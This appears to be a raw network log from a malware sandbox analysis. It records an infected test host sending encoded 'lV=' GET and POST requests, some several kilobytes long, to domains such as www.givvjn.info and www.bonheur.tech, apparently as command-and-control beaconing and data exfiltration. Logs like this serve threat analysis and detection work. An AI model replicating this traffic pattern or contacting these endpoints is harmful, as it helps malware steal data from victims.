6b 49 65 56 6f 59 31 32 35 6a 6e 49 34 55 38 2f 61 2b 68 37 56 64 34 65 44 46 72 37 31 38 33 72 45 74 4b 75 57 34 41 33 48 31 6e 70 66 62 74 62 59 32 74 68 74 65 6c 30 38 48 64 49 59 52 50 44 66 34 34 47 37 66 4c 70 2b 7a 32 59 66 62 77 67 46 39 41 76 4f 44 2b 41 49 37 4c 5a 37 54 47 42 4f 69 44 34 61 53 4e 4e 4a 43 39 2b 54 54 4c 68 6a 38 4a 34 47 56 4e 32 55 74 75 74 44 38 4b 78 48 4b 52 4e 33 4b 78 45 63 48 62 67 65 69 32 2b 33 62 4c 50 79 50 48 38 50 57 62 4e 4b 46 6c 59 38 30 5a 6f 65 42 42 4e 62 54 77 34 71 68 73 6e 69 53 37 74 38 33 73 41 34 45 6d 50 4a 54 53 31 76 4d 63 58 6a 6a 78 69 72 76 68 38 45 62 6b 72 51 6f 39 71 35 69 7a 57 [TRUNCATED] Data Ascii: lV=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSjtq1m9jwkZ2mhsW82AiEgvyM8OSogBOzgajotcwZ1+SHZPsFNWJZ07Llzi4Ba2ZMfk7UX3Jekb0rOkIeVoY125jnI4U8/a+h7Vd4eDFr7183rEtKuW4A3H1npfbtbY2thtel08HdIYRPDf44G7fLp+z2YfbwgF9AvOD+AI7LZ7TGBOiD4aSNNJC9+TTLhj8J4GVN2UtutD8KxHKRN3KxEcHbgei2+3bLPyPH8PWbNKFlY80ZoeBBNbTw4qhsniS7t83sA4EmPJTS1vMcXjjxirvh8EbkrQo9q5izW026YBV+a0eZTa5Gs4rwJ6Fl0UACMH0Dxw/Mo14s26X9Wvlq2w9L7kbvLEfaA9vELxYMKGHFX9VBnF0Y/rasbCSYe7NGYCzWbjOoOZiSIUgmYCXTUMec7Akv0IObf7p00fvMw084JAUjGjYA3+riLnwkO0kcaDekzygDHv6O5JtKIAq2vGtqYLGoyKLfqyu5E2qxqgOdpw10+X8BiG4OSeZZ1oLHMnCss21407VRW2+xGpvaIiWWuA+OIMeph4TiMETcMgXQtB9WxJvpzaotAi86271PilkISdxdBsBEg8cp69KMK9qghrB66gWLyp6+Ou9PEq8FZt1odZbYyjuFMCqGkPiFI0+j6dzyFt1rc
Jan 9, 2025 16:51:42.056830883 CET	2578	OUT	Data Raw: 4a 56 50 4b 77 4e 2b 6d 50 59 6c 62 4a 50 77 72 47 47 31 6d 68 37 38 51 42 6e 42 58 77 6b 73 52 57 76 58 36 34 45 76 71 34 61 6b 62 41 78 78 2b 4b 2f 4b 78 68 66 6a 6f 65 76 58 59 62 4c 5a 2f 30 42 32 45 70 63 64 58 68 32 7a 66 69 30 42 69 2b 30 Data Ascii: JVPKwN+mPYlbJPwrGG1mh78QBnBXwksRWvX64Evq4akbAxx+K/KxhfjoevXYbLZ/0B2EpcdXh2zfi0Bi+0sRRp7J2YVojieH8H86+fqcIqqH6i0KFGuZ5BJgYuFFqr6XyJfU49ZwNPKfXtBakHFytUH5lZs1rqHtEObtOMAu/zTHMVWVa0ogY+7WI+k0VZq2Rh+I9pjLxOu48XR+sK++jKEcRxCCDzVlZ7Q/Thp7ENniqFFfapU
Jan 9, 2025 16:51:42.056884050 CET	4091	OUT	Data Raw: 44 69 32 62 34 4d 66 75 4e 55 6c 46 68 46 45 54 4f 64 71 54 6d 5a 57 43 6f 52 79 4d 38 47 6c 51 4a 6c 38 6c 2b 64 50 63 79 37 6a 63 56 69 47 77 34 77 45 41 49 45 2b 49 48 46 6f 6a 44 38 4f 6b 49 33 4f 6d 31 4b 77 57 79 6b 77 4e 57 4f 45 55 68 55 Data Ascii: Di2b4MfuNUlFhFETOdqTmZWCoRyM8GlQJl8l+dPcy7jcViGw4wEAIE+IHFojD8OkI3Om1KwWykwNWOEUhUAQw8Ptp3yKO5q5KyRIOlUirOzAXUSc80ZeZI/KC3kUxdr38qxiO0WHrHHM6D1IAarJSBqHN32ATbikmjbWam+t0/8SLrBjC/m5nZODgSzwFCtR6spZ9KYV+K1zX21ahjyri6hyQmOZHCQnFvm4DK694IZOQBhm/M2
Jan 9, 2025 16:51:42.254570007 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:42 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49806	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:44.757000923 CET	528	OUT	GET /qps0/?lV=oe/Nf5ZxPavzyNCK1vJM2Ozzw7iHMrsFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2gmVOP/g7WXCZMIn3pc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:51:44.941435099 CET	933	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:51:44 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	49807	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:51:58.437582970 CET	792	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 44 71 4f 73 54 55 66 46 65 6a 79 37 35 43 77 54 35 41 39 45 73 5a 7a 53 70 32 59 68 49 71 6b 70 43 55 75 4c 76 33 65 2b 7a 61 6b 72 30 39 67 4f 34 35 49 72 4e 62 6c 48 6b 78 66 31 75 77 56 61 73 4c 45 58 52 49 4b 66 42 64 76 4b 59 63 72 47 37 7a 49 39 6d 44 55 49 76 4f 30 71 48 74 4c 38 45 6b 43 5a 56 77 4c 76 4f 4c 4c 2b 67 4f 50 51 37 44 6f 30 33 34 31 2b 6f 53 31 7a 31 78 6d 4d 75 57 47 42 77 4b 78 58 48 72 42 41 44 6f 65 50 6f 39 57 38 58 75 38 52 71 4d 57 38 71 2b 6b 69 51 36 74 45 4b 62 36 65 41 75 4f 71 6d 4c 42 72 6e 63 57 42 4e 41 3d 3d Data Ascii: lV=TW4HYQMdIKn0DqOsTUfFejy75CwT5A9EsZzSp2YhIqkpCUuLv3e+zakr09gO45IrNblHkxf1uwVasLEXRIKfBdvKYcrG7zI9mDUIvO0qHtL8EkCZVwLvOLL+gOPQ7Do0341+oS1z1xmMuWGBwKxXHrBADoePo9W8Xu8RqMW8q+kiQ6tEKb6eAuOqmLBrncWBNA==
Jan 9, 2025 16:51:59.430126905 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:51:59 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	49808	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:01.270879030 CET	812	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 51 70 43 78 53 4c 75 31 32 2b 32 61 6b 72 38 64 67 50 6c 70 49 77 4e 62 59 6b 6b 31 58 31 75 77 78 61 73 4b 30 58 52 2f 2b 59 48 4e 76 49 55 38 72 45 2f 7a 49 39 6d 44 55 49 76 50 51 41 48 74 44 38 44 55 79 5a 58 53 7a 73 52 37 4c 68 6a 4f 50 51 74 7a 6f 77 33 34 31 63 6f 58 73 57 31 7a 4f 4d 75 54 69 42 78 59 4a 49 4f 72 42 4b 4d 49 66 4c 6b 34 7a 70 62 4e 77 6c 71 71 61 59 72 73 59 49 63 4d 67 65 58 70 4f 36 44 39 53 59 69 37 34 44 6c 65 58 61 51 45 59 64 46 41 48 36 4d 63 6a 38 68 46 52 67 4c 4c 46 4e 32 68 55 3d Data Ascii: lV=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYQpCxSLu12+2akr8dgPlpIwNbYkk1X1uwxasK0XR/+YHNvIU8rE/zI9mDUIvPQAHtD8DUyZXSzsR7LhjOPQtzow341coXsW1zOMuTiBxYJIOrBKMIfLk4zpbNwlqqaYrsYIcMgeXpO6D9SYi74DleXaQEYdFAH6Mcj8hFRgLLFN2hU=
Jan 9, 2025 16:52:02.291054010 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:52:02 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	49809	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:04.110891104 CET	2578	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 49 70 43 44 4b 4c 76 55 32 2b 78 61 6b 72 39 64 67 53 6c 70 4a 79 4e 62 41 34 6b 31 54 4c 75 79 5a 61 6a 49 38 58 42 4f 2b 59 4f 4e 76 49 63 63 72 42 37 7a 49 6f 6d 44 45 4d 76 4f 67 41 48 74 44 38 44 58 71 5a 54 41 4c 73 4b 37 4c 2b 67 4f 50 6d 37 44 6f 59 33 38 67 72 6f 58 59 73 31 43 75 4d 75 7a 53 42 7a 72 78 49 4d 4c 42 4d 46 59 66 74 6b 34 32 35 62 4e 73 44 71 76 4f 69 72 72 6b 49 4e 61 42 71 48 39 48 73 57 65 36 62 2f 34 73 37 7a 74 33 79 4e 47 68 6a 55 53 58 42 54 36 66 4c 75 48 56 33 62 4f 70 61 76 68 30 68 53 55 63 39 4c 4e 51 59 42 62 46 58 4b 4f 65 5a 64 46 32 48 76 73 5a 78 67 44 76 4e 62 2b 4e 41 55 33 4e 64 51 38 30 55 49 63 6c 37 4f 73 72 73 73 74 5a 49 5a 62 6f 51 6b 37 68 52 51 46 66 71 37 31 53 47 4f 34 74 52 47 70 59 72 34 41 41 76 4a 59 42 37 6b 45 4c 74 4c 52 66 38 73 63 2f 58 4b 7a 50 4a 67 55 32 63 52 43 49 30 48 6c 56 6c 64 6f 4b 59 76 4a 43 [TRUNCATED] Data Ascii: lV=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYIpCDKLvU2+xakr9dgSlpJyNbA4k1TLuyZajI8XBO+YONvIccrB7zIomDEMvOgAHtD8DXqZTALsK7L+gOPm7DoY38groXYs1CuMuzSBzrxIMLBMFYftk425bNsDqvOirrkINaBqH9HsWe6b/4s7zt3yNGhjUSXBT6fLuHV3bOpavh0hSUc9LNQYBbFXKOeZdF2HvsZxgDvNb+NAU3NdQ80UIcl7OsrsstZIZboQk7hRQFfq71SGO4tRGpYr4AAvJYB7kELtLRf8sc/XKzPJgU2cRCI0HlVldoKYvJCtlS7eWmt6rdghCkHY8hWAO4inU3/up73InoWYO1ZzU+wqvmDpkbQoRPPgKKzA/R2QqpCgxC8k6PWIr6GaZjmEjPhwRWlJt5JuoCrKcEpG6E1S4QxFCJvR9eYcvksT2G9m0zhhbkeYwm4faEMMMWchO1RKXRaGVfFomGfn6KgdUHFnQ3fnT+ZXl3JGwacKEQpzerZp+HrTvTz/U5qWVZA2LzbaUR8gHzeQnEWY430fZ0x+s1TirXALCgy2udthlheVtPTzz7z1lezsxt6UZsXlbQVTNJ5Q+B2eh3Jhi/rgCJVOE4slw9vew3dB/ZHtZn/7z+p1hdSn0oCJ4bMgDqh3Bzz2GWSQaYfducim0oFunMSBJs3IDRwYtUQTSmLmsR+C73u4trTk9BMwkdoW6J0A2PdOHT5q6qYHW5YJQ1p0FsQ2jVNNmaTNdIjVECmxlrwBqER1dS+tGtaqSXWeSu6UEP0VEvcVYt9oJWoDJQieVA24aiehWmTjRW/bVvZsjAzLWT3mI3U4Gimd2yINu82cVe45mqtIUBTDRGugBbJTR11wYsdI1YTWNnqLa5VI4QC+c3UCeyzy19RfDTl3Ooix/Ls5WI7J/+8r0z3o+Hmaa/s7hgUQpiZ2uH9ZPd6P9DVz/A8eovQ0AE4e63FNkxtIc+qXaDDe7j8r+ [TRUNCATED]
Jan 9, 2025 16:52:04.110974073 CET	5383	OUT	Data Raw: 78 31 43 43 35 43 4c 59 30 53 66 4b 75 38 6f 49 72 6e 6d 35 32 36 59 70 4f 58 43 44 32 36 36 59 33 31 4d 35 70 51 42 4e 79 4c 77 50 6e 56 5a 61 68 56 4b 35 6e 65 4a 73 63 77 47 4b 54 50 61 6b 61 4a 35 41 65 54 6a 64 67 4a 49 57 64 45 56 32 33 52 Data Ascii: x1CC5CLY0SfKu8oIrnm526YpOXCD266Y31M5pQBNyLwPnVZahVK5neJscwGKTPakaJ5AeTjdgJIWdEV23RLIDCVcroa9Ny/AEEt42oOcxCZuEZo4aX0BNRSHBByKWCDNZLG0CaxFBXO1FfpYjyV7gJBssljeqMgirhxwwvWLyQORtnarNab21QtoDfj2V0oYqFGBY0Baiw7KtowndhyNXrFs3RIonc4I+x7556bZQ3AvTCtcpgu
Jan 9, 2025 16:52:05.101855993 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:52:04 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	49810	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:06.955643892 CET	529	OUT	GET /nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:52:07.952403069 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:52:07 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	49811	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:14.120506048 CET	795	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 32 2b 44 57 51 41 42 74 51 2b 53 4c 35 56 7a 64 57 41 53 43 33 4a 36 67 50 47 48 4d 75 41 41 33 4a 68 2b 58 4f 30 36 52 4d 36 32 71 56 51 4b 2b 74 54 51 38 52 33 62 38 4e 76 77 43 33 7a 51 64 34 51 55 38 73 54 2b 66 78 2f 33 6c 35 2f 42 55 30 6d 41 78 32 56 70 4e 33 52 67 72 74 57 7a 4e 6b 44 45 4a 44 46 4d 74 7a 64 6e 30 63 6f 67 68 6c 73 4b 6d 66 6a 35 6a 67 4a 4a 67 67 4f 73 54 6b 48 44 47 79 41 51 4c 54 6b 75 39 38 31 43 66 65 74 45 50 75 4b 71 6c 49 49 70 66 70 4e 78 79 73 35 57 2b 6b 55 78 57 39 43 4d 31 4f 46 58 67 30 4e 2b 33 48 77 3d 3d Data Ascii: lV=C3faYkUc5r8U2+DWQABtQ+SL5VzdWASC3J6gPGHMuAA3Jh+XO06RM62qVQK+tTQ8R3b8NvwC3zQd4QU8sT+fx/3l5/BU0mAx2VpN3RgrtWzNkDEJDFMtzdn0coghlsKmfj5jgJJggOsTkHDGyAQLTku981CfetEPuKqlIIpfpNxys5W+kUxW9CM1OFXg0N+3Hw==
Jan 9, 2025 16:52:14.256603956 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	49812	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:16.795026064 CET	815	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 31 51 33 4a 46 36 58 63 42 61 52 4c 36 32 71 65 77 4b 37 69 7a 51 4e 52 33 58 72 4e 74 30 43 33 33 34 64 34 51 45 38 73 67 58 74 77 76 33 6e 67 50 42 53 37 47 41 78 32 56 70 4e 33 58 4e 4f 74 57 37 4e 6c 77 4d 4a 44 6b 4d 75 79 64 6e 31 66 6f 67 68 30 38 4b 69 66 6a 35 52 67 49 56 4f 67 4e 55 54 6b 47 7a 47 79 52 52 35 49 55 76 34 32 56 44 39 61 4f 35 41 6e 36 53 53 46 59 64 48 68 74 78 51 67 50 62 6b 35 6d 46 79 2b 52 51 48 4b 31 75 49 32 50 2f 73 61 2b 52 66 45 46 4a 71 46 68 55 62 51 6b 58 78 4f 76 37 61 38 64 45 3d Data Ascii: lV=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct1Q3JF6XcBaRL62qewK7izQNR3XrNt0C334d4QE8sgXtwv3ngPBS7GAx2VpN3XNOtW7NlwMJDkMuydn1fogh08Kifj5RgIVOgNUTkGzGyRR5IUv42VD9aO5An6SSFYdHhtxQgPbk5mFy+RQHK1uI2P/sa+RfEFJqFhUbQkXxOv7a8dE=
Jan 9, 2025 16:52:16.935161114 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49813	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:20.480328083 CET	5156	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 32 77 33 4b 77 75 58 4f 51 61 52 4b 36 32 71 43 67 4b 36 69 7a 51 51 52 33 50 6e 4e 74 35 33 33 78 38 64 2b 44 38 38 71 56 72 74 6c 2f 33 6e 6f 76 42 58 30 6d 41 6b 32 56 35 4a 33 58 39 4f 74 57 37 4e 6c 78 63 4a 58 6c 4d 75 2f 39 6e 30 63 6f 67 39 6c 73 4c 46 66 6a 77 6d 67 49 42 77 6a 39 30 54 6b 6d 6a 47 31 6a 35 35 45 55 76 32 31 56 44 62 61 4f 30 41 6e 37 2b 34 46 59 70 35 68 73 35 51 77 4a 44 37 6a 33 70 37 72 48 51 4a 41 55 32 78 36 4e 33 43 45 4d 68 77 46 6d 70 36 4b 30 41 66 54 79 58 59 61 50 62 6a 68 61 7a 7a 7a 36 36 66 32 4a 6a 67 52 6a 61 49 35 70 55 51 65 65 79 34 31 71 53 5a 62 65 79 64 4a 6c 64 53 6c 37 73 74 50 38 62 51 6e 77 69 30 54 35 4f 52 67 6d 6f 71 42 52 49 45 6d 77 4b 72 32 73 6f 52 70 76 6f 52 43 41 64 32 4f 61 78 6b 4c 55 6b 2f 5a 6b 64 6d 6a 55 4e 4c 79 65 58 55 76 53 4f 33 49 2b 42 32 69 71 4e 34 6a 48 71 37 74 59 35 61 4a 55 43 69 69 6b 6e [TRUNCATED] Data Ascii: lV=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct2w3KwuXOQaRK62qCgK6izQQR3PnNt533x8d+D88qVrtl/3novBX0mAk2V5J3X9OtW7NlxcJXlMu/9n0cog9lsLFfjwmgIBwj90TkmjG1j55EUv21VDbaO0An7+4FYp5hs5QwJD7j3p7rHQJAU2x6N3CEMhwFmp6K0AfTyXYaPbjhazzz66f2JjgRjaI5pUQeey41qSZbeydJldSl7stP8bQnwi0T5ORgmoqBRIEmwKr2soRpvoRCAd2OaxkLUk/ZkdmjUNLyeXUvSO3I+B2iqN4jHq7tY5aJUCiiknmREZA9cZcJkDO2+6oD/LVa2d15kffj9dR6J5GJ07aWok6vBILgh79bpV52H+cR+RE+UczrNL+4F0/w+f4EeShNuSZAyM/94xHEvT1ze5ORCDvmft4wdGDmNiNBkcMbEqG8uyxdDWD49kiEFlR5Lrtao8BOfU0vPvkKhgVPJ6AgcIfM3hrlry9drRguaUok91QHWpywFR0fc9fUUK+LR5nrYHYRNsWpred7L7Kw8aw9VCan1w0kDZrppLXc9PKNe4z6E6QsbfA3orN/rzanbrZVtD3A46lioLf6j0hXFupgIe0UmmQBc+S8qMPedqF7Jodn+xK4UqThoSK+SEtY8umi+qmd5qNuB/mntP3zCGbNBtQfyXupVJCwsPzpLPToP2Hw6oCvhqhS5vCntXxHrwJkYMkKusSCoVzWHSm3VuqJeWGAQbAFLr7ASGlEA940EcKSKqMhARluC4d6MA4QwVGg722mHYfLDXQ7Ib5Vk/XZJrfCeJKJKK8iGxKX1nUtjgaA4hK0V+PHmn1P6H7rzG77xV6g2Q7OjIiIWCM3q1d22eI